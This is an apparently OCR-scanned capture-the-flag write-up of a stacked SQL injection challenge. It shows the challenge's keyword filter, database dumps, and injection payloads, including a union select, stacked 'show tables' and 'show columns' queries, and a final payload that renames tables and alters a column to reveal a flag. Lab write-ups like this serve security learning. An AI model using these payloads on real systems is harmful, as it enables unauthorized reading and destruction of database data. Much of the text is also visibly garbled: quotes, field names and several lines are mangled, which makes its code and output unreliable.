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array(2) {
[o]=>
string(1) "1”
[1]=>
string(7) “hahahah”
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return preg match(”/select update delete drop| insert where \./i”, $inject);

N OEaz Dee OEde NEE (QatkEe Qe One B a § AEsRs
Encryption v Encoding~v SQL ~ XSS~ Other~

@l Load URL http://1301b179-d14e-47¢c4-a170-8fba9ec776ff.node3.buuoj.cn/?inject=1" union select 1,2#

B

FEX BRATRAHEBIEN show tables B L ATHIE EH R KT AR

';show tables;#
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array (2) {

string(7) “hahahah”
}

array (1) {
[o]=>
string(16) ”1919810931114514”

array (1) {
[o]=>
string(5) “words”
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';show columns from words;#
//#F1919810931114514K I+ B

';show columns from "1919810931114514 ;#
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array(6) {
(0]=>
string(2) "id”
(1]=>
string(7) “int(10)”
[(2]=>
string(2) "NO”
[(3]=>
string(0)
[4]=>
NULL
[6]=>
string(0)
}
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array(6) {
[ol=>
string(4) "data”
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[0]=>

string(l) "1

[11=>

string(7) “hahahah”

wray(6) {

[o]=>

string(4) "flag”
[1]=>
string(12) “varchar (100)”
[2]=>

string(2) “N0O”
[3]=>

string(0) "
[4]=>

NULL

[6]=>
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payload:

/?

inject=1%27 ; RENAME%20TABLE%20 words" %20T0%20 words1™ ; RENAME%20TABLE%20" 1919810931114514" %20T0%20 words™ ; ALTE
R%20TABLE%20" words™ %20CHANGE%20" flag™ %20" id" %20VARCHAR (100 )%20CHARACTER%20SET%20utf8%20COLLATE%20utf8_genera

1 ci%20NO0T%20NULL ; show%20columns%20from%20words ;#

/?inject=1"';RENAME TABLE “words ™ TO “wordsl” ;RENAME TABLE ~1919810931114514° TO "words ;ALTER TABLE “words’
CHANGE "flag® “id’ VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from

words; #
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